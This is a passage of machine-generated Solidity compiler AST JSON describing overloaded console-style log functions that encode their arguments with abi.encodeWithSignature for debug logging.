_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27359,"mutability":"mutable","name":"p2","nameLocation":"31910:2:15","nodeType":"VariableDeclaration","scope":27376,"src":"31902:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27358,"name":"address","nodeType":"ElementaryTypeName","src":"31902:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27361,"mutability":"mutable","name":"p3","nameLocation":"31922:2:15","nodeType":"VariableDeclaration","scope":27376,"src":"31914:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27360,"name":"uint256","nodeType":"ElementaryTypeName","src":"31914:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"31877:48:15"},"returnParameters":{"id":27363,"nodeType":"ParameterList","parameters":[],"src":"31940:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27399,"nodeType":"FunctionDefinition","src":"32059:193:15","nodes":[],"body":{"id":27398,"nodeType":"Block","src":"32140:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c616464726573732c737472696e6729","id":27390,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"32190:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_031c6f73458c2a0d841ad5d5914dceb24973d9df898a3826eec79330397cd882","typeString":"literal_string \"log(uint256,address,address,string)\""},"value":"log(uint256,address,address,string)"},{"id":27391,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27378,"src":"32229:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27392,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27380,"src":"32233:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27393,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27382,"src":"32237:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27394,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27384,"src":"32241:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_031c6f73458c2a0d841ad5d5914dceb24973d9df898a3826eec79330397cd882","typeString":"literal_string \"log(uint256,address,address,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27388,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"32166:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27389,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"32170:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"32166:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27395,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32166:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27387,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"32150:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27396,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32150:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27397,"nodeType":"ExpressionStatement","src":"32150:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32068:3:15","parameters":{"id":27385,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27378,"mutability":"mutable","name":"p0","nameLocation":"32080:2:15","nodeType":"VariableDeclaration","scope":27399,"src":"32072:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27377,"name":"uint256","nodeType":"ElementaryTypeName","src":"32072:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27380,"mutability":"mutable","name":"p1","nameLocation":"32092:2:15","nodeType":"VariableDeclaration","scope":27399,"src":"32084:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27379,"name":"address","nodeType":"ElementaryTypeName","src":"32084:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27382,"mutability":"mutable","name":"p2","nameLocation":"32104:2:15","nodeType":"VariableDeclaration","scope":27399,"src":"32096:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27381,"name":"address","nodeType":"ElementaryTypeName","src":"32096:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27384,"mutability":"mutable","name":"p3","nameLocation":"32122:2:15","nodeType":"VariableDeclaration","scope":27399,"src":"32108:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27383,"name":"string","nodeType":"ElementaryTypeName","src":"32108:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32071:54:15"},"returnParameters":{"id":27386,"nodeType":"ParameterList","parameters":[],"src":"32140:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27422,"nodeType":"FunctionDefinition","src":"32258:182:15","nodes":[],"body":{"id":27421,"nodeType":"Block","src":"32330:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c616464726573732c626f6f6c29","id":27413,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"32380:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_091ffaf5e3365a794bfeb97b8157886a9ba00c981ee88d8a8fdb0cc96a5e6c1d","typeString":"literal_string \"log(uint256,address,address,bool)\""},"value":"log(uint256,address,address,bool)"},{"id":27414,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27401,"src":"32417:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27415,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27403,"src":"32421:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27416,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27405,"src":"32425:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27417,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27407,"src":"32429:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_091ffaf5e3365a794bfeb97b8157886a9ba00c981ee88d8a8fdb0cc96a5e6c1d","typeString":"literal_string \"log(uint256,address,address,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27411,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"32356:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27412,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"32360:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"32356:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27418,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32356:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27410,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"32340:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27419,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32340:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27420,"nodeType":"ExpressionStatement","src":"32340:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32267:3:15","parameters":{"id":27408,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27401,"mutability":"mutable","name":"p0","nameLocation":"32279:2:15","nodeType":"VariableDeclaration","scope":27422,"src":"32271:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27400,"name":"uint256","nodeType":"ElementaryTypeName","src":"32271:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27403,"mutability":"mutable","name":"p1","nameLocation":"32291:2:15","nodeType":"VariableDeclaration","scope":27422,"src":"32283:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27402,"name":"address","nodeType":"ElementaryTypeName","src":"32283:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27405,"mutability":"mutable","name":"p2","nameLocation":"32303:2:15","nodeType":"VariableDeclaration","scope":27422,"src":"32295:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27404,"name":"address","nodeType":"ElementaryTypeName","src":"32295:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27407,"mutability":"mutable","name":"p3","nameLocation":"32312:2:15","nodeType":"VariableDeclaration","scope":27422,"src":"32307:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27406,"name":"bool","nodeType":"ElementaryTypeName","src":"32307:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"32270:45:15"},"returnParameters":{"id":27409,"nodeType":"ParameterList","parameters":[],"src":"32330:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27445,"nodeType":"FunctionDefinition","src":"32446:188:15","nodes":[],"body":{"id":27444,"nodeType":"Block","src":"32521:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c616464726573732c6164647265737329","id":27436,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"32571:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2488b414330cbd4ddab2b849dacd8bed50b19b82318ec6e4a5ccdf72ee519553","typeString":"literal_string \"log(uint256,address,address,address)\""},"value":"log(uint256,address,address,address)"},{"id":27437,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27424,"src":"32611:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27438,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27426,"src":"32615:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27439,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27428,"src":"32619:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27440,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27430,"src":"32623:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2488b414330cbd4ddab2b849dacd8bed50b19b82318ec6e4a5ccdf72ee519553","typeString":"literal_string \"log(uint256,address,address,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27434,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"32547:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27435,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"32551:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"32547:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27441,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32547:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27433,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"32531:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27442,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32531:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27443,"nodeType":"ExpressionStatement","src":"32531:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32455:3:15","parameters":{"id":27431,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27424,"mutability":"mutable","name":"p0","nameLocation":"32467:2:15","nodeType":"VariableDeclaration","scope":27445,"src":"32459:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27423,"name":"uint256","nodeType":"ElementaryTypeName","src":"32459:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27426,"mutability":"mutable","name":"p1","nameLocation":"32479:2:15","nodeType":"VariableDeclaration","scope":27445,"src":"32471:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27425,"name":"address","nodeType":"ElementaryTypeName","src":"32471:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27428,"mutability":"mutable","name":"p2","nameLocation":"32491:2:15","nodeType":"VariableDeclaration","scope":27445,"src":"32483:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27427,"name":"address","nodeType":"ElementaryTypeName","src":"32483:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27430,"mutability":"mutable","name":"p3","nameLocation":"32503:2:15","nodeType":"VariableDeclaration","scope":27445,"src":"32495:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27429,"name":"address","nodeType":"ElementaryTypeName","src":"32495:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"32458:48:15"},"returnParameters":{"id":27432,"nodeType":"ParameterList","parameters":[],"src":"32521:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27468,"nodeType":"FunctionDefinition","src":"32640:193:15","nodes":[],"body":{"id":27467,"nodeType":"Block","src":"32721:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c75696e743235362c75696e7432353629","id":27459,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"32771:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a7a8785394d9aadf7945b4e3d27726dea716dc88e3f64cc80b3aa9abbd2751c5","typeString":"literal_string \"log(string,uint256,uint256,uint256)\""},"value":"log(string,uint256,uint256,uint256)"},{"id":27460,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27447,"src":"32810:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27461,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27449,"src":"32814:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27462,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27451,"src":"32818:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27463,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27453,"src":"32822:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a7a8785394d9aadf7945b4e3d27726dea716dc88e3f64cc80b3aa9abbd2751c5","typeString":"literal_string \"log(string,uint256,uint256,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":27457,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"32747:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27458,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"32751:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"32747:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27464,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32747:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27456,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"32731:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27465,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32731:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27466,"nodeType":"ExpressionStatement","src":"32731:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32649:3:15","parameters":{"id":27454,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27447,"mutability":"mutable","name":"p0","nameLocation":"32667:2:15","nodeType":"VariableDeclaration","scope":27468,"src":"32653:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27446,"name":"string","nodeType":"ElementaryTypeName","src":"32653:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27449,"mutability":"mutable","name":"p1","nameLocation":"32679:2:15","nodeType":"VariableDeclaration","scope":27468,"src":"32671:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27448,"name":"uint256","nodeType":"ElementaryTypeName","src":"32671:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27451,"mutability":"mutable","name":"p2","nameLocation":"32691:2:15","nodeType":"VariableDeclaration","scope":27468,"src":"32683:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27450,"name":"uint256","nodeType":"ElementaryTypeName","src":"32683:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27453,"mutability":"mutable","name":"p3","nameLocation":"32703:2:15","nodeType":"VariableDeclaration","scope":27468,"src":"32695:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27452,"name":"uint256","nodeType":"ElementaryTypeName","src":"32695:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"32652:54:15"},"returnParameters":{"id":27455,"nodeType":"ParameterList","parameters":[],"src":"32721:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27491,"nodeType":"FunctionDefinition","src":"32839:198:15","nodes":[],"body":{"id":27490,"nodeType":"Block","src":"32926:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c75696e743235362c737472696e6729","id":27482,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"32976:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_854b34964800cd321ba295da547026c9cfe69753667a81487e80d237f63c927f","typeString":"literal_string \"log(string,uint256,uint256,string)\""},"value":"log(string,uint256,uint256,string)"},{"id":27483,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27470,"src":"33014:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27484,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27472,"src":"33018:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27485,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27474,"src":"33022:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27486,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27476,"src":"33026:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_854b34964800cd321ba295da547026c9cfe69753667a81487e80d237f63c927f","typeString":"literal_string \"log(string,uint256,uint256,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27480,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"32952:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27481,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"32956:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"32952:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27487,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32952:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27479,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"32936:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27488,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32936:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27489,"nodeType":"ExpressionStatement","src":"32936:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32848:3:15","parameters":{"id":27477,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27470,"mutability":"mutable","name":"p0","nameLocation":"32866:2:15","nodeType":"VariableDeclaration","scope":27491,"src":"32852:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27469,"name":"string","nodeType":"ElementaryTypeName","src":"32852:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27472,"mutability":"mutable","name":"p1","nameLocation":"32878:2:15","nodeType":"VariableDeclaration","scope":27491,"src":"32870:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27471,"name":"uint256","nodeType":"ElementaryTypeName","src":"32870:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27474,"mutability":"mutable","name":"p2","nameLocation":"32890:2:15","nodeType":"VariableDeclaration","scope":27491,"src":"32882:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27473,"name":"uint256","nodeType":"ElementaryTypeName","src":"32882:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27476,"mutability":"mutable","name":"p3","nameLocation":"32908:2:15","nodeType":"VariableDeclaration","scope":27491,"src":"32894:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27475,"name":"string","nodeType":"ElementaryTypeName","src":"32894:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32851:60:15"},"returnParameters":{"id":27478,"nodeType":"ParameterList","parameters":[],"src":"32926:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27514,"nodeType":"FunctionDefinition","src":"33043:187:15","nodes":[],"body":{"id":27513,"nodeType":"Block","src":"33121:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c75696e743235362c626f6f6c29","id":27505,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"33171:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7626db92bcbe8fb38799da91134ebae6bc6c7b10cb0db567e752720b8fd9ae0f","typeString":"literal_string \"log(string,uint256,uint256,bool)\""},"value":"log(string,uint256,uint256,bool)"},{"id":27506,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27493,"src":"33207:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 